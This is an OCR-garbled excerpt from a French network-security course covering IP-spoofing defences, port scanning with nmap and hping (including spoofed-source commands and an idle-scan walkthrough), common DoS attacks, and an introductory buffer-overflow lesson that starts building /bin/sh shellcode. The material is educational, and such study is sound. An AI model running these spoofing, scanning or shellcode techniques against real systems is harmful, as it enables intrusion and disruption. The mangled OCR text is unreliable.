perdue", elle supprime le paquet au lieu de renvoyer un R&Teelle aurait du le faire. En (3), I'attaquant
renvoi un paquet avec le numéro de séquence de la cible préditiisqu’on I'acquitte. Sila prédiction est
bonne, la cible accepte le ACK, et la sécurité est alors comfse puisque les transferts peuvent commencer
(4).

Une méthode permet de ne pas attaquer en aveugle, c’eks&titin du source routing. En effet, avec
I'utilisation des champs options du datagramme IP, il essjiide de spécifier une route pour un paquet de
donnée. Ainsi, il suffit que I'attaquant rajoute ce champaypaivec un chemin de retour passant par lui de
facon a ce qu'il puisse voir le contenu de tous les messagestindtion de la machine usurpée. Dans ce
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cas, l'utilisation devient nettement plus simple, puistiaigaquant n’a plus besoin de faire de prédiction de
numéro de séquence et il peut contrbler la validité de taiplessages envoyés et recgus.

Généralement, I'attaquant laisse une porte ouverte (lmaekderriére lui de fagon a pouvoir revenir plus
tard de fagon beaucoup plus simple. Une modification du fichiest est souvent effectuée pour permettre
un acces ultérieur.

21.4 Mesures préventives

21.4.1 Ne pas faire confiance

Une solution permettant d’empécher ce type d’attaque es¢ gas se baser sur une authentification par
adresse IP. Désactiver toutes les commandes r* (perméattame machine distante d’effectuer des actions)
comme rsh (ouverture de shell), rlogin (ouverture de teathisupprimer tous les fichiers .rhosts (liste des
utilisateurs ayant des droits) et vider le fichier /etc/reagtiv. Cela obligera les utilisateurs & se conecter par
d’autres moyens (telnet, SSH)

21.4.2 Filtrer les paquets

Dans le cas d’une connexion directe sur Internet, la métteopieis utilisée consiste a filtrer les paquets
entrants au niveau du routeur d'accés de fagon a ce qu’ureegmm extérieure au réseau ne puisse pas
avoir une adresse IP qui soit interne au réseau. Comme &w®red de confiance sont souvent attribuées au
sein méme du réseau, cela prémunit relativement bien clestegtaques.

Serveur Poste de travail
1 1
Filtrage S ' jl
Irternet -'_de paque‘tr@ Fezeau 194 72150
D zource =194 7215* W source £ 194 72152
_.. _'_

FiG. 21.2 — Filtrage des paquets

21.4.3 Désactiver le source routing

Comme ['utilisation du source routing permet de facilitensidérablement 'utilisation de I'lP Spoofing,
il est préférable de désactiver le source routing sur tasisdateurs d'acces de I'entreprise de facon a ce
gu’une route destinée a un ordinateur interne au réseausse pas par le réseau externe.

21.4.4 Utiliser le chiffrement

Une méthode évidente pour se protéger contre I'lP spoofingiste a chiffrer ou authentifier toutes les
données qui circulent sur le réseau interne. Cependastroéthode n’est pas encore un standard.
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21.4.5 Utiliser un numéro de séquence initial aléatoire

Les attaques par IP spoofing fonctionnent parce que les msrdérséquence peuvent étre devinés. Pour
résoudre ce probleme, il faudrait une modification de I'iémpéntation de la pile IP qui tienne compte de
'adresse comme le montre la formule suivante : ISN=M+Flbost,localport,remotehost,remoteport). M
est ici le compteur de la machine et F est un algorithme de Hasie doit pas étre visible de I'extérieur.

21.5 Travaux Pratiques : utilisation d’'un logiciel de masquage d’IP :
HPing
— Consulter la documentation liée & hping.

— Pinguer la machine de votre voisin avec une adresse soifféedte de celle de la machine hote.
Observer avec votre sniffer.

Réponse :
Jhping2 -a @IPspoof ee @IPvoisin

— Pinguer la machine de votre voisin avec une adresse sdéateiee. Observer avec votre sniffer.

Réponse :
Jhping2 --rand-source @IPvoisin




Chapitre 22

Le Port Scanning [15]

22.1 Introduction

Le port scanning est utilisé pour observer I'état d'un résdgermet de déceler si certains ports sont
ouverts a la communication c'est a dire dans I'état LISTHMst utilisé par les administrateurs systemes
pour détecter si certains ports sont ouverts et les fermeagde besoin, mais aussi par les hackers (pirates)
pour les mémes raisons mais ceux-ci utiliseront ces possrtaipour s'infiltrer ou récupérer des informa-
tions sur le systéme.

Le plus souvent un port scan est comparable a une attaquelérpen effet le pirate doit tester chacun
des ports de la machine les uns apres les autres, il faut spatout systeme possede 65536 ports TCP dont
les 1024 premiers sont réservés a des applications seamagds par 'administrateur. L'attaquant envoie
une demande de connexion a chacun des ports de la machitenet@t’il réponde, si celui-ci répond c’est
gu’il est ouvert, il pourra donc par la suite essayer d'étaisle connexion sur ces derniers. Il s'agit la plupart
du temps d’'une attaque de reconnaissance, elle est soungatdune véritable intrusion. Nous allons voir
les différentes techniques utilisées pour scanner les garh systeme.

22.2 Différentes techniques de port scanning

La plupart de ces techniques sont implémentées dans legmogenmap(Network Mapper) de Fo-
DOR <fyodor@dhp.com> disponible sur http ://www.insecurg/pmap.

22.2.1 Vanilla TCP connect()

Cette technique est la plus simple, elle utilise I'appel fotection connect() du systéeme ( connect(2) ).
Si la fonction réussit la connexion est établie sinon le partjuestion est fermé. Il suffit alors d’exécuter
cette fonction sur chacun des ports d’'une machine afin ddetémmix qui sont a I'état LISTEN. De plus
cette fonction n’exige aucun privilege, n'importe queligéiteur peut exécuter un tel programme. Par contre
cette attaque est facilement décelable, car les fichiemgeclontiendront une tentative de connexion suivie
immédiatement par sa fermeture, de plus cette techniqueutefpre spoof@e

1’adresse de I'émetteur contenu dans chaque paquets e#ftéaatin que l'identité de I'attaquant soit masquée, il B@mgl’'une
adresse IP différente de la sienne. Spoofing : « Usurpatibtystification sur un réseau.
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Machine A Machine B
connect () LISTEN
ok Attente de confirmation de connexian
RST Annulation de la demande de connexipn
connect ()

échec Port fermé

TaB. 22.1 — Vanilla TCP connect ()

22.2.2 TCP SYN Scan

Appelée aussi scan a moitié ouvedar il ne s’agit pas d’'une vraie connexion. Cette technimpresiste
a envoyer un SYN a un port de la machine cible, et si celle-edienen réponse un SYN-ACK c'est que
ce port est ouvert (LISTEN) il faut ensuite envoyer imméghagnt un RST afin d’annuler cette connexion.
Par contre, si un RST a été regu c’est que le port est fermé auwpéc Cette méthode de scanning est trés
difficilement décelable car il faudrait détecter au niveaundyau chaque SYN entrant, par contre I'attaquant
doit posséder les privileges du root afin qu’il puisse envegs propres paquets.

Machine A Machine B
SYN —

+— SYN,ACK

RST— port ouvert
SYN —

— RST

port fermé

TAB. 22.2 — TCP SYN Scan

22.2.3 TCP FIN Scanning

Cette technique consiste a envoyer un FIN & un port, si celest fermé il renvoie un RST sinon le
paquet est ignoré et rien n'est envoyé en retour. Cette rdéthtest pas utilisable sur tous les systémes,
de plus elle demande beaucoup de temps au pirate. Pouredétedlype de scan il faut Ia aussi acceder
directement au noyau du systéeme pour acceder aux sockéts.bru

Machine A Machine B
FIN —
— RST
port ouvert
FIN —
Aucune réponse : Port Fermeé

TAB. 22.3 - TCP FIN Scanning

22.2.4 Fragmentation Scanning

Le fragmentation scanning consiste a fragmenter les hedd&P en petits paquets. Cette technique est
utilisée avec les deux précédentes, ceci permet de cortola® filtres ou autres firewalls qui détectent

2Half-open scanning
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les SYN et FIN scans. En effet ces équipements ne rassengaeres fragments, car ceci demanderait
beaucoup de ressources et abaisserait les performancésedwy et les laissent donc passer, c’est donc au
systeme lui méme de rassembler et de traiter, ces paqugtsdmdés.

22.2.5 TCP StealthScan

Cette méthode est décrite dans le Phrack 49 article 15 pa&lklifesux@cox.org>. Elle est similaire
au TCP Syn Scan, au lieu d’envoyer un paquet SYN on envoie Nndrbn obtient en retour un RST c’est
gue le port est fermé sinon il est ouvert. Une autre méthodsist® a envoyer un ACK, si on recoit des
paquets contenant un THlinférieur au reste des paquets RST recu, ou si la taille denétfe (Window)
est supérieure a zéro cela veut dire que le port est probablezn écoute. Cette méthode est basée sur un
bogue dans la plupart des implémentations TCP des systéexgdadtation, il se peut donc qu'il soit corrigé.

Machine A Machine B
ACK —

«— TTL décroit
port ouvert

ACK —
«— TTL demeure
port fermé

TAaB. 22.4 - TCP SYN Scan

Il existe d’'autres types de scansttp ://www.securityfocus.com) qui utilisent les flags URBBJSH,
URG+FIN, PUSH+FIN ou URG+PUSH qui sont aussi difficilemeBtettables (un patch implémentant
ces fonctionnalités pourmapest disponible sunttp ://vecna.unix.kg), il existe malgré tout un patch paur |
noyau Linux de FANK LEININGET <hlein@progressive-comp.com>disponiblelstip ://www.progressive-
comp.com/"hlein/hap-linux/.

22.2.6 TCP Reverse Ident Scanning

Décrite par Dave Goldsmith en 1996 sur la liste Bugtitsitp(://www.securityfocus.com), cette méthode
utilise le protocole ident (RFC 1413) qui permet de conedérpropriétaire de n’importe quelle processus
d’'une connexion TCP, méme s'il ne s’agit pas de l'initiaté€in peut, par exemple, se connecter sur le port
HTTP d’'une machine et utiliser identd afin de savoir si le sana été lancé en tant que root. Mais cette
méthode requiert une connexion TCP compléte ce qui esefaeiit détectable, de plus il est conseillé de
désactiver identd (/etc/inetd.conf).

22.2.7 Dumb Host Scan [18]

Cette méthode permet d'utiliser des paquets spoofés et pemaet de ne pas laisser paraitre votre
adresse IP réelle. Pour éffectuer ce scan; il est néceslmirennaitre certaines particularités de I'implé-
mentation de TCP/IP sur la plupart des OS :

1. un héte répond SYN|ACK a un SYN si le port TCP est ouvertrsipond RST|ACK si le port est

fermé.

2. les hétes répondent RST a un SYN|ACK, ne répondent rienRSIn

Les Joueurs

3Time To Live : entier contenu dans chaque paquet qui est ohéer& & chaque fois qu'il passe par un élément actif d’uratése
(firewall, router...) il estinitialisé differement selogsl Systémes d’Exploitation.
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— héte A - l'attaquant : votre machine

— héte B - I'h6te silencieux : il ne doit pas envoyer de paqdetant le scan de C (la nuit par exemple).

— hote C - la victime.

Fonctionnement

La machine A sniffent les paquets sortant de B en utilisantl@éro d’identifiant contenu dans I'entéte
ip. Vous pouvez rééaliser ceci simplement en utilisantgppie la fagon suivante :

#hping B -r

HPING B (ethO xxx.yyy.zzz.jj): no flags are set, 40 data byt es

60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41 660 win=0 time=1.2 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seg=1 ttl=64 id=+1 win=0 time=75 ms

60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms

60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttI=64 id=+1 win=0 time=90 ms

60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttI=64 id=+1 win=0 time=91 ms

60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttI=64 id=+1 win=0 time=87 ms

Comme vous pouvez le constater, 'id augmente toujours Bedc cet hote possede les caractéristiques
nécessaires pour faire la machine B.

Maintenant A envoie un SYN au port X de C en se faisant passerButilisation de hping). Si le port

X de C est ouvert, C répondra SYN|ACK a B (C ne sait pas que Aegti a envoyé la requéte). Dans ce
cas, B répond au SYN|ACK avec un RST. Sivous envoyez a C geeB¥N, il répondra a B avec quelques
SYN|ACK, et donc B répondra a C avec quelques RST... doncvemasns que B envoie des paquets!

60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+ 1 win=0 time=96 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+ win=0 time=80 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttI=64 id=+ win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttI=64 id=+ win=0 time=94 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+ win=0 time=92 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+ win=0 time=82 ms
e port est ouvert!

NEFE,WNPE

Au contraire, si le port X de C est fermé, I'envoi a C de quety8&N de la part de B (A déguisé)

entrainera une réponse de C avec des RST et aucune réponsealecBious verrons que B ne répond pas.
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+ win=0 time=85 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttI=64 id=+ win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+ win=0 time=93 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+ win=0 time=74 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttI=64 id=+ win=0 time=95 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+ win=0 time=81 ms
Le port est fermé.

PR RPRRPRRR

22.2.8 UDP Port Scanning

Ce genre de scan est trés peu utilisé car le protocole est ihs 1@ moins usité de par son infiabilité.
Pour scanner un port UDP il suffit d’'envoyer n’'importe quejpet sur un port UDP et si celui-ci répond par
“Destination Port Unreachable” cela veut dire qu'il estfiér

22.3 Travaux Pratiques

22.3.1 Utilisation denmap

nmap permet de faire toutes les attaques vues précédemmentiegaptions a utiliser
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— -sT : TCP connect () scan

— -sS: TCP SYN scan

— -sF -sX -sN : TCP FIN, Xmas, Null scan. Les attaques Xmas ditiNent pas été vues. Les voici
donc.
— Xmas scanne les ports grace aux flags FIN, URG ,PUSH
— NULL scanne les ports avec tous les flags descemdiasosoft ignore ce genre de requéte.

— -sP: Ping scanning

— -sU : UDP scan

22.3.2 Travaux Pratiques : Utilisation d’un scanner de Portnmap

Le logiciel nma;ﬁ est disponible sur Linux pour connaitre les ports ouversé@’'machine.

Aide : I'aide d’'une commande Linux s’obtient pasan nomdelacommande
— Utilisez ce logiciel pour scruter votre machine, trouvezipchacun de ces ports ouverts quel est le
service qui écoute et quel est son role.
— Utilisez les différentes techniuges vues précédemmaeatissirvez les trames qui leurs sont associées.
— Consulter la documentation de nmap pour découvrir legapmssibilités de scan de port (avancés).

22.3.3 Interface graphique pour nmap

Il est possible de disposer d’une interface graphique pmapwvia le packagemap-frontend . Cette
interface graphique peut alors étre exécutée par le bides deammandamapfe .

22.3.4 Tester les ports ouverts sur I'Internet

De nombreux sites proposent leurs services pour testeg getiveur et notamment les ports réseaux
ouverts. Il est intéressant de le faire fonctionner.
\oici un exemple de ce que I'on peut trouver sur le net :

4Avec une interface graphique, vous pourrez disposer damténd gmapfe )
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Check.sdv.fr

Bienvenue sur notre nouveau service de vérification de larécéseau de votre ordinateur.

A quoi sert check.sdv.fr?

appelées ports. lls sont potentiellement plusieurs mslliet la sécurité la plus élémentaire exige qu
soient inactivés, a I'exception bien s(r de ceux qui sorterdent utiles a votre surf.

Un intrus indélicat peut, a travers un port actif non protégdéliser toutes sortes d’opérations dont

C’est ce travail que fait pour vous check.sdv.fr
Comment fonctionne check.sdv.fr?

Nous allons tester, I'un aprés I'autre, tous les ports artst et vous dresser une carte aussi completg
possible de I'état des ports, ouverts ou fermés; a ceci ss@ci un diagnostic estimant le niveau
sécurité de votre machine.

Compte tenu du nombre de tests, ce diagnostic peut prengsepis minutes; il est inutile de le répét
tous les jours, mais une précaution raisonnable consisteraprendre a une fréquence mensuelle,
hebdomadaire éventuellement.

Important : conditions d’utilisation

SdV s’engage bien évidemment a ne pas tenter de pénétriamméat les systémes testés, non plus g

conserver quelque donnée que ce soit des résultats detses éggrogramme se borne a vérifier le type
réponse a des requétes vers la plupart des ports habiteellem usage.

décrit, sous les seules réserves qui précédent.

client, en cas de doute, et notamment en cas d’applicatiasitde, de faire procéder a des vérificatig
approfondies par des consultants réseaux.

conséquences peuvent étre fort désagréables ; il est dndeauvérifier précisément votre configuration.

SdV ne donne aucune garantie explicite ou implicite de lailfi@bde ce test; certaines conditions
techniques rares peuvent entrainer une non-détectiotivif@a’un port pourtant actif. Il appartient au

Tout ordinateur connecté a internet dialogue a travers eel’qn peut appeler des interfaces logicielles

ils

les

que
de

er
ou

ua
de

En cliquant sur le bouton " TESTER MON POSTE " qui suit, I'is@iteur autorise SdV a procéder au test

ns



Chapitre 23

Quelques attagues rangées

23.1 DoS

Lors d'une attaque par Déni de Services (DoS), I'attaquavtiie un flot de requétes sur un service d’'un
serveur dans I'espoir d’épuiser des ressources tellesaguedmoire” ou consommer toutes les capacités du
processeur.

Les attaques DoS incluent :

Jamming Networks (Blocage des Réseaux)

Flooding Service Ports (Inonder une machine ciblée dahstlde bloquer ou géner son fonctionne-
ment)

Misconfiguring Routers (Reconfigurer des routeurs)

Flooding Mail Servers (Inonder des serveurs mail)

23.2 DDoS

Dans les attaques distribuées DoS (DDoS), un hacker iastalagent ou démon sur un certain nombre
d’hétes. Le hacker lance une commande au maitre, qui réside Itin des nombreux hoétes. Le maitre
communique avec les agents résidents des autres serveursqmomencer I'attaque. Les attaques DDoS
sont difficiles a contrer car elles ne proviennent pas d'@uwdesadresse IP ou réseau. Le trafic peut provenir
d’une centaine ou méme de milliers de systéemes indépendamtparfois (souvent) les utilisateurs ne sont
méme pas avertis que leur ordinateur fait partie de I'agaqu
Les attaques DDoS incluent :

— FTP Bounce Attacks

— Ping Flooding Attack

— Smurf Attack

— SYN Flooding Attack

— IP Fragmentation/Overlapping Fragment Attack

— IP Sequence Prediction Attack

— DNS Cache Poisoning

— SNMP Attack

— Send Mail Attack

88
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23.3 Description de quelques attagues communes
23.3.1 FTP Bounce Attack (Attaque FTP par Rebond)

FTP (File Transfer Protocol) est utilisé pour transféres decuments et des données de fagcon anonyme
d’'une machine locale vers un serveur et vice-versa.

Dans une attaque par rebond, le hacker met un fichier surdelsef TP et demande alors & ce que le
fichier soit envoyé sur un autre serveur par le serveur iatéra fichier peut contenir un logiciel malsain ou
un simple script qui occupera le serveur et utilisera tolggsessources CPU et mémaoire.

Pour empécher cette attaque, les démons FTP sur les seWelidoivent étre mis a jour réguliérement.
Le site FTP doit étre monitoré de fagon réguliere pour idiemsi un fichier n’est pas envoyé au serveur Web.

En résumé, une attaque ftp bounce est le fait d'initier debirenx transferts ftp afin de saturer un ser-
veur ftp.

Cette technique utilise la “fonctionnalité” proxy d’un geur FTP décrite dans le RCF 959 qui permet
de se connecter a n'importe quel serveur en passant parvaus&TP. Cette méthode était utilisable en
1985, date a laquelle le RFC a été rédigée, de nos jours lapldes serveurs FTP ne possedent plus cette
fonctionnalité. Cette méthode permettait surtout de masijdentité de I'attaquant, les paquets contiennent
I'adresse du serveur FTP qui a été utilisée comme proxy.

23.3.2 Ping Flooding Attack

Pinguer un ordinateur signifie envoyer un signal a une maciim que celle-ci réponde en retour. Une
utilisation responsable du ping procure des informatiemdasdiponibilité d'un service particulier. Le Ping
Flooding est I'utilisation extreme du ping par I'envoi dent@nes de millions de pings par seconde. Le Ping
Flooding peut endommager un systéme ou méme stopper umsée e
Une attaque de type Ping Flooding inonde le réseau ou la madiila victime avec des paquets IP de type
Ping. De nombreux routeurs ou imprimantes sont aussi vaines.

23.3.3 Smurf Attack

Un attaque de type Smurf est un dérivé de I'attaque "pingldttéu lieu d’envoyer des pings directe-
ment au systéme attaqué, on envoie les pings a I'adress@dédaist avec pour adresse de retour I'adresse
de la machine de la victime. Un certain nombre de machinesimédiaires enverront des pings a la victime,
bombardant ainsi la machine de la victime ou le systéme aegoniliers ou des centaines de pings.

source adresse IP de la victime
destination adresse IP du broadcast

Une contre mesure peut étre d’interdire sur les routeunsdiede trame sur I'adresse de broadcast.

23.3.4 SYN Flooding Attack

Cette attaque exploite une vulnérabilité du protocole TERZette attaque demande a la machine de
la victime de répondre a une machine inexistante. La vicemie des paquets en réponse a la machine
émettrice qui a pris soin d’envoyer le tout avec une adrd3gecorrecte. En guise de réponse, il estinnondé
de requéte<Ces requétes attendent une réponse jusqu’a ce que les pagsietviennent en Time Out ou
soient supprimés.Durant la période d’attente, le systeme de la victime comseres ressources et ne peut
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plus répondre aux requétes légitimes.

Lorsqu’une connexion TCP démarre, la machine de destmegigoit un paquet SYN (synchronize/start)
de I'hdte source et envoie en retour un SYN ACK (accusé deptirede synchronisation) en réponse. La
machine destination doit écouter pour recevoir cet aguiint, ou un paquet ACK, avant que la connexion
ne puisse étre établie. Ceci se nomme le "TCP three-way hakels
Réduire le time-out d’attente peut aider a réduire les Bsqliattaque par SYN flooding, comme augmenter
la taille de la queue de la connexion (the SYN ACK queue).

23.3.5 IP Fragmentation/Overlapping Fragment Attack

Pour faciliter la transmission IP au travers de réseauxmabeoés, les paquets IP peuvent étre réduits en
taille ou cassés en de plus petits paquets. En construisamiatjuets trés petits, les routeurs et les IDS ne
peuvent identifier la nature du contenu de ces paquets &igsgiont passer sans examen plus approfondi.
Lorsque le paquet sera réassemblé & la fin, il remplira lebufé machine alors se bloquera ou rebootera
ou tuera le processus.

Dans une attaque de type Overlapping Fragment, le réasagentéés paquets commence par le milieu
d’'un autre paquet. Comme le systéme recoit ces paquetsdesail alloue de la mémoire pour les stocker
afin de les reconstruire. Ceci peut éventuellement utitmetes les ressources mémoire et causer un reboot
ou un gel de la machine.

23.3.6 IP Sequence Prediction Attack

Utilisant la méthode du SYN Flood, un hacker peut établircomnexion avec une victime et obtenir les
numéros de séquences des paquets IP. Avec ce nombre, le paakeontroler la victime et le duper en lui
faisant croire qu'’il est en train de dialoguer avec une amaehine.

La plupart des OS rendent maintenant aléatoire la génardéa@es numéros de séquences pour réduire le
risque de prédiction. Malgreé ceci, I'aléatoire n’est pastable et obéit a des fonctions mathématiques plus
ou moins complexes.

23.3.7 DNS Cache Poisoning

Le DNS permet d’'obtenir des informations sur un hote. Pognanter leur productivité les DNS dis-
posentd’un cache ol sont stockés les données les pluseéc€ptcache peut étre attaqué et les informations
corrompues pour rediriger une connexion réseau sur un sitér@u bloquer I'acces a un site en supprimant
son entrée dans le cache.

23.3.8 SNMP Attack

La plupart des réseaux supportent SNMP car il est actif piautlé_e rdle du protocole SNMP est de
récupérer des informations de maintenance. Une attaquePSpidt résulter dans le mapping du réseau
existant, le monitoring de celui-ci ou méme de la redireactdnformations.

23.3.9 UDP Flood Attack

Un attaque de type UDP Flood paralyse deux systemes incoRauSpoofing, le flux UDP envoie des
requétes au service UDP d’'une machine (qui pour des butsstie génére une série de caractéres pour
chaque paquet recu) avec le service echo UDP d’une autreimeaiui renvoie tous les caractéres regus
dans le but de tester des programmes réseaux). Il en résufigexicontinu d’échange de données entre les
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deux systémes.
source adresse IP de la victime
destination adresse IP de la seconde victime

Envoi d’'une trame echo UDP avec I'adresse source de I'unkestre.

23.3.10 Send Mail Attack

Dans cette attaque, des centaines de milliers de messagemgoyées sur une courte période de temps.
Le but est de ralentir le systeme visé.

23.4 Game for Hacking

Un jeu vidéo reprend toutes ces attaques et les techniqudsfeiese qui seront vues plus tard, ce jeu :
Uplink disponible sous Windows et Linux.



Chapitre 24

Les buffer overflows [16]

24.1 Introduction

24.1.1 Les programmes setuid

Sous UNIX, un fichier exécutable possédant le bit setuid egiragramme qui va s’exécuter avec les
privileges du propriétaire du fichier et non les privilegesl'dtilisateur qui lance son exécution. C'est ce
qui permet & un simple utilisateur de changer son mot de pEese que cette opération nécessite une
modification d’un fichier systéme qui n’est modifiable quelpasuperutilisateur. La commande passwd est
en effet un fichier exécutable dont le propriétaire est leesufgisateur root : (le bit setuid est indiqué par le
S) -r- sr-xr-x 2 root wheel 26804 Sep 18 2001 /usr/bin/passwd*

Lorsqu’un tel programme possede une vulnérabilité peameé un attaquant d’exécuter du code arbi-
traire, il suffit a ce dernier de lancer par exemple un shallagra les privileges de I'utilisateur qui I'a lancé,
c’est-a-dire les privileges superutilisateur! L'attagtia alors un accés complet a tout ce qui se trouve sur la
machine. C’est le principe des exploits avec buffer overdleur des programmes suid root.

24.2 La pile en mémoire

Examinons tout d’abord la structure d’'un processus en meéntois de son exécution : La mémoire
occupée est divisée en 3 parties :

— La zone de texte contenant le code du programme et les otestventuelles

— La zone de données contenant les variables initialiséemenitialisées

— La zone de la pile ou stack, qui sert & mettre des valeursestr@prendre selon 'ordre LIFO (Last In
First Out). La pile est utilisée lors des appels de procéiafia de sauvegarder les données courantes
et pour garder I'ordre logique des appels de procéduresdgunds. La derniére configuration stockée
au sommet de la pile correspond au dernier appel de procédisera la premiére retirée de la pile.

fmmmmm e \  lower
[ | memory
[ Text | addresses
| I
e — |
| (Initialized) |
Data |

| (Uninitialized) |

92
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| Stack | higher
| | memory
| I / addresses

Lors d'un appel de procédure on stocke sur la pile les parasée I'appel, les variables locales a la
procédure ainsi les différentes valeurs permettant detssuker aprés I'appel dans le méme état qu’avant,
c’est-a-dire les registres, et surtout le compteur de pirogne avant I'appel (le PC, qui nous intéresse beau-
coup en I'occurrence puisqu'il s'agit de I'adresse a labpueh se poursuivre I'exécution a la fin de la pro-
cédure). La pile occupe les adresses hautes en mémoirenglitgrars le bas, dans les architectures Intel
classiques. On connait son adresse grace a un registreingig pers son sommet, le Stack Pointer (SP). Un
deuxiéme pointeur est souvent utilisé par les compilatéluszagit du Frame Pointer (FP) qui pointe vers
une adresse fixe dans la pile. Il est utile pour référencerdeables locales et les paramétres qui vont se
trouver a des distances variables du SP puisqu’au fil du telegpdonnées sont poussées et retirées de la pile.
Il est donc plus aisé de garder une FP, par rapport auquetBad des variables locales et des paramétres ne
changera pas. La premiére chose qu’une procédure fait’lamsappel est de sauver ce FP sur la pile afin de
pouvoir le restaurer aprés I'appel.

Les points importants a retenir ici sont le fait que les Jzga locales & une procédure sont stockées sur
la pile ainsi que la valeur de I'adresse de retour, c’esiréid PC avant I'appel (le PC pointe toujours sur
I'instruction suivante).

24.2.1 Exemple de dépassement de la pile

Listing 24.1 — Dépassement de la pile

#include <stdio.h>

int main ()

{
char autre [5];
char chaine [5];
sprintf (autre, "%s", "titi");
printf ("Variable_autre, avant,: %s\n", autre);
sprintf (chaine ,"%s","totgest dansg,l_eau");
printf ("Variable autre eaprs,(buffer_overflow)_: %s\n", autre);
return (0);

}

L'exécution de ce programme nous donne le résultat suivant :

eric@lampion:~/SaveOurSouls$ gcc -c stack.c
eric@lampion:~/SaveOurSouls$ gcc -0 stack stack.o
eric@lampion:~/SaveOurSouls$ ./stack

Variable autre avant : titi

Variable autre aprés (buffer overflow) : eau
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24.3 Les buffers overflows en détail

Les variables locales a une procédure sont donc stockékssple. Sachant que par exempleen Ciln'y
a pas de vérification de la taille des structures de donnéeddédeur manipulation, cela veut dire qu’on peut
imaginer d'allouer un tableau de 10 caractéres en variali#lé a I'intérieur d’'une procédure, et ensuite
d’écrire plus de dix caractéres dans ce tableau. Commedgyzihdit vers le bas, et que les variables locales
sont poussées sur la pile en dernier le programme va conénéerire des données au-dela des limites du
tableau alloué, c’est-a-dire dans les autres valeurs peaggécédemment sur la pile, y compris la fameuse
adresse de retour. De cette facon, on peut changer le collexéeution d’un programme en la poursuivant
a une adresse arbitraire déterminée par les valeurs qua Bonte sur la pile.

24.3.1 Exemple:

Listing 24.2 — Utilisation de la pile

int fonction(int a, int b, int c)

char buf[12];
return 1;

Etat de la pile : (ret est I'adresse de retour de la procéduie; les parameétres d’appel, buf la variable
locale, sfp est le FP une fois sauvé)

bottom of top of

memory memory
buf sfp ret a b C

L — | | | | | |

top of bottom of

stack stack

24.3.2 Exemple de vulnérabilité

Listing 24.3 — Exemple de vulnérabilité

int fonction (char xa)
char buf[100];
strcpy (buf,a);
}
Etat de la pile :
bottom of top of
memory memory
buf sfp ret a
<mmmeee | | | |
strcpy: m >
top of bottom of

stack stack
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La fonction strcpy() va continuer a copier la chaine de daras a dans le tableau buf jusqu’a ce qu’elle

rencontre un caractére de fin de chaine de caracté®d@ss@ns tenir compte de la taille maximum du tableau.
Il se produira donc ce que I'on appelle un buffer overflow cifiure se poursuit en dehors des limites du
buffer. Cependant le fait de changer I'adresse de retow fbmktion permet simplement de choisir ou conti-
nue le programme, ce n'est guére pratique lorsque le but@stedir un accés illimité a la machine, car les
programmes suid que I'on attaque ne contiennent normalepasnd’instruction pour lancer un shell par
exemple. Pour pouvoir effectivement exécuter n'importei gdaut que I'attaquant puisse fournir lui-méme
le code gu’il veut exécuter. La solution est de mettre le Gbdgécuter dans le texte que I'on va écrire a la
place du buffer, et de s'arranger ensuite pour que I'adr@ssetour que I'on va écrire se situe dans la pile,
pour que le code fourni soit exécuté.
Le premier probleme est que le code que I'on va exécuter ti@itdd code machine puisqu'il sera lu au
cours de I'exécution. Pour obtenir le code machine cormedant au code que I'on veut exécuter il suffit
d’écrire un petit programme et de le compiler. On peut eesxaminer le code produit & I'aide de gdb pour
connaitre le code machine ainsi que la disposition en ménflmngueur de chaque instruction, offsets) du
programme :

Listing 24.4 — shellcode.c

#include <stdio.h>

void main() {
char xname[2];

name[0] = "/bin/sh";
name[1l] = NULL;
execve (name[0], name, NULL)/x Execute le programme passe en parametsé .

Il est utile de compiler le programme avec I'optiestatic afin d’obtenir le code voulu et non des
références a des librairies chargées dynamiquement Idexéeution :
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[titan]$ gcc -0 shellcode -gdb -static shellcode.c
[titan]$ gdb shellcode

GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the con ditions.
There is absolutely no warranty for GDB; type "show warranty " for details.

GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Softwa
(gdb) disassemble main
Dump of assembler code for function main:

re Foundation, Inc...

0x8000130 : pushl  %ebp

0x8000131 : movl  %esp,%ebp
0x8000133 : subl  $0x8,%esp
0x8000136 : movl  $0x80027b8,0xfffffff8(%ebp)
0x800013d : movl  $0x0,0xfffffffc(%ebp)
0x8000144 : pushl  $0x0

0x8000146 : leal  Oxfffffff8(%ebp),%eax
0x8000149 pushl  %eax

0x800014a : movl  Oxfffffff8(%ebp),%eax
0x800014d : pushl  %eax

0x800014e : call 0x80002bc <__execve>
0x8000153 : addl  $0xc,%esp

0x8000156 : movl  %ebp,%esp
0x8000158 : popl %ebp

0x8000159 : ret

End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:

0x80002bc < execve>: pushl  %ebp
0x80002bd < execve+1>: movl %esp,%ebp
0x80002bf < __execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

0x80002c8
0x80002ch
0x80002ce

<__execve+12>:
<__execve+15>:
<__execve+18>:

movl 0xc(%ebp),%ecx
movl 0x10(%ebp),%edx
int $0x80

0x80002d0 <__execve+20>: movl %eax,%edx

0x80002d2 < execve+22>: testl  %edx,%edx

